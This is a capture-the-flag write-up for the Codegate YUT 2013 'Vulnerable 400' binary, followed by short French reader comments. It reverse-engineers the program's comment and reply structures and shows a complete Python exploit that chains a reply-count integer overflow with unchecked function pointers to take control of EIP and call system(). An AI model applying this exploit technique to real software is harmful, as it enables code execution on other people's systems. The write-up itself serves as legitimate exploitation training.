Codegate YUT 2013 Preliminary > Vulnerable 400
Codegate's vuln 400 challenge is a 32-bits ELF, stripped, not compiled with stackexec. It's an ordinary app using stdin/stdout, designed to manage comments and replies to these comments.
The first thing to do in this case was to know what data structures looked like. Long story short, we came up with these structures for comments and replies :
struct comment { 0. char reply_count = 0; 4. struct comment * next = 0; 8. struct comment * prev = 0; 12. func * fill_coment_func = fill_comment; 16. func * delete_comment_func = delete_comment; 20. struct reply * replies = 0; 24. int id = global_count; 28. char* author = malloc(0x100); 32. char* title = malloc(0x100); 36. char* content; 40. int status = 0xDEADBEEF; 44. int unknown = rand(); }; struct reply { 0. int unknown; 4. int status; 8. int parent_comment; 12. char * reply_content; 16. func * unknown_func; 20. func * delete_reply_func; 24. struct reply * next; }
The initialization values for the comment struct are those used in its init function at 0x080490bc. Replies are initialized at 0x08048e73 which looks like
struct comment * do_reply(struct comment * comment) { struct reply * reply = malloc(0x1c); char * reply_content = malloc(0x74); struct reply * tmp; reply->parent_comment = comment->id; reply->status = 0xDEEBFACE; reply->next = 0; if (comment->replies) { for (tmp=comment->replies;tmp->next;tmp=tmp->next); tmp->next = reply; fgets(reply_content, 0x64, stdin); reply_content[strlen(reply_content) - 1] = 0; } else { comment->replies = reply; memcpy(reply_content, "Welcome, It's Auto reply system", 0x64); } reply->reply_content = reply_content; comment->reply_count ++; return comment; }
A comment's creation automatically invokes this function, that's why there is the auto-reply part. What is notable compared to the comment init in that most fields are not initialized there. Replies' delete_reply_func field is filled on the fly during the destruction of the parent comment at 0x08048f82 :
void do_delete(struct comment * comment) { struct reply * tmp; if (comment->reply_count <= 0) { comment->prev->next = comment->next; comment->next->prev = comment->prev; if (comment->status == 0xDEADBEEF) { for (tmp = comment->replies;tmp->next;tmp = tmp->next) { tmp->func1 = 0x080A87AC; tmp->delete_reply_func = free_wrapper; } comment->delete_comment_func(comment); } } else puts("Cannot be deleted, blabla\n"); }
The deletion is easy to understand : if a comment has no replies, it is removed from the linked list - obviously causing potential null pointers faults for the first and last comments here. Then if its status is still the same 0xDEADBEEF set during initialization, the function pointers for its replies are filled. Then its own deletion's function pointer is called.
We see that comments should never be destroyed, as there is not way of removing replies, yet the reply_count must be <= 0 for the comment to be deleted. And as there is always at least the auto-reply this should never happen. However, the jump is a jle - signed comparison, so if we add 0x7f replies to the first auto-reply, we have an integer overflow as 0x80 is negative.
On to the delete_comment function at 0x08048962 :
void delete_comment(struct comment * comment) { struct reply * tmp; tmp = comment->replies; for (i=0;i<=1;i++) { if (replies->delete_reply_func != free_wrapper) { puts("Detected\n"); exit(1); } tmp = tmp->next; } while (tmp->next) { tmp->delete_reply_func(tmp->reply_content); tmp = tmp->next; } free(comment->author); free(comment->title); free(comment->content); }
It basically checks that the first replies have had their function pointer initialized and hop to the actual deletion if it is the case. Many logical errors in this function, the most obvious being the fact that most function pointers are left unchecked before being executed.
Adding the fact that the "modify comment" feature changes the status code of a comment, we have everything in hands to hijack EIP :
From there, the program should exit after printing "Detected" as the first replies's function pointers do not match free_wrapper (0x080487c4). With a simple metasploit pattern we see that those two function pointers are at offsets 36 and 644 of our third comment's content.
#!/usr/bin/python import struct import subprocess free_wrapper = struct.pack("<I", 0x080487C4) target = struct.pack("<I", 0xcafebabe) # create 7 large comments for i in range(0,7): print "1" print "A" * 248 print "A" * 248 if i == 2: base = "x"*36 + free_wrapper base += "x"*604 + free_wrapper print base + (target * 2000)[0:7998 - len(base)] else: print "A" * 7998) # int overflow reply counts # for all comments for i in range(0,7): print "2\n%d"%(i+1) for j in range(0, 0x7f): print "3\n" + "a" * 98 print "4\n4" # delete these comments # but the first and last # to avoid null derefs for i in range(1,6): print "2\n%d\n1\n4\n4"%(i+1) # add two new comments # just one would cause a # null pointer for i in range(0,2): print "1\nb\nc\nd" # add 0x7f replies to comment 8 print "2\n8" for j in range(0, 0x7f): print "3\nx" print "4\n4" # modify comment 8 print "2\n8\n2\na\na\n4\n4" # delete comment 8 print "2\n8\n1\n4\n4" print "3"
Trying in gdb :
Program received signal SIGSEGV, Segmentation fault. 0xcafebabe in ?? () (gdb) i r eax 0xcafebabe -889275714 ecx 0x1 1 edx 0x8058d28 134581544 ebx 0xf7fb4ff4 -134524940 esp 0xffffd0cc 0xffffd0cc ebp 0xffffd0f8 0xffffd0f8 esi 0x0 0 edi 0x0 0 eip 0xcafebabe 0xcafebabe
There it is, we control EIP. However heap is not executable and I did not find much interesting things in registers nor around the top of the stack. However, grimmlin spotted that system() was in the plt and that his *esp pointed to the "x" from one of the replies added to comment 8 - I wonder why it wasn't the case for me. Having that, the last replies' content has to be changed with any command to be executed, and the target by 0x8048630 - system@plt. With successive commands, we find that the key file is /home/onetime/key.txt, end of story.
Merci, je ne me souviens plus trop bien, mais je pense 2h. On avait mis bien plus de temps à finaliser le sploit par contre, le temps de trouver la vuln et la façon d'exploiter.
Mais de toute façon, y'a qu'en répétant ce type d'exercice qu'on peut aller plus vite ensuite.
excellente writeup , je voudrais savoir combien de temps avez vous passé pour reverser ce binaire !
pour moi plus de 6h et je ne sais pas si c'est un bon temps ou pas ?
Merci d'avance